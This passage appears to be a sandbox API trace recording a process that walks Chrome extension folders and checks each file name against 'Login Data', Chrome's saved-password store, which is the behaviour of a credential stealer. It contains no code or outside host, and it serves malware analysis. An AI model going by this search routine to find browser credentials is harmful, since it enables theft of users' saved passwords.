[0054.867] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.867] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.867] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.867] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.867] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.867] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.867] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.867] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.867] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.867] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.868] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.868] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.868] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.868] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.868] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.868] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.868] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.868] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.868] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.868] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.868] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.869] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.869] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.869] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.869] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.869] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.869] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.869] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.869] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.869] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.869] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.870] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.870] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.870] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.870] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\*.*", lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 0x72dbd0 [0054.870] StrStrIA (lpFirst="verified_contents.json", lpSrch="Login Data") returned 0x0 [0054.870] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\*.*", lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 0x72db90 [0054.870] StrStrIA (lpFirst="128.png", lpSrch="Login Data") returned 0x0 [0054.870] StrStrIA (lpFirst="manifest.json", lpSrch="Login Data") returned 0x0 [0054.870] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\*.*", lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 0x72dbd0 [0054.871] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ar\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.871] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.871] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\bg\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.871] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.871] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ca\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.871] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.871] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\cs\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.871] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.871] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\da\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.871] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.872] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\de\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.872] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.872] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\el\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.872] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.872] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_GB\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.872] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.872] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_US\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.872] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.872] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.872] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.872] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es_419\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.873] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.873] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\et\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.873] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.873] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\eu\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.873] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.873] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.873] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.873] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fil\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.873] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.873] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.874] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.874] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\he\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.874] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.874] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.874] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.874] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.874] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.875] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hu\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.875] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.875] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\id\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.875] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.875] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\it\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.875] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.875] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ja\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.875] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.875] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ko\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.875] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.875] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lt\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.876] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.876] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lv\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.876] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.876] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ms\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.876] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.876] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\nl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.876] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.876] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\no\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.876] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.876] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.877] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.877] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_BR\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.877] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.877] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_PT\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.877] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.878] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ro\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.878] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.878] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ru\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.878] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.878] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sk\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.878] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.878] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.879] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.879] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.879] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.879] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sv\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.879] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.879] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\th\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.879] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.879] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\tr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.879] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.879] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\uk\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.880] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.880] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\vi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.880] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.880] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_CN\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.880] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.880] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_TW\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.880] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.880] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\*.*", lpFindFileData=0xef624 | out: lpFindFileData=0xef624) returned 0x72db50 [0054.880] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\*.*", lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 0x72db90 [0054.880] StrStrIA (lpFirst="128.png", lpSrch="Login Data") returned 0x0 [0054.880] StrStrIA (lpFirst="manifest.json", lpSrch="Login Data") returned 0x0 [0054.880] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\*.*", lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 0x72dbd0 [0054.881] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ar\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.881] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.881] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\bg\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.881] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.881] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ca\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.881] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.881] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\cs\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.882] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.882] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\da\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.882] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.882] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK 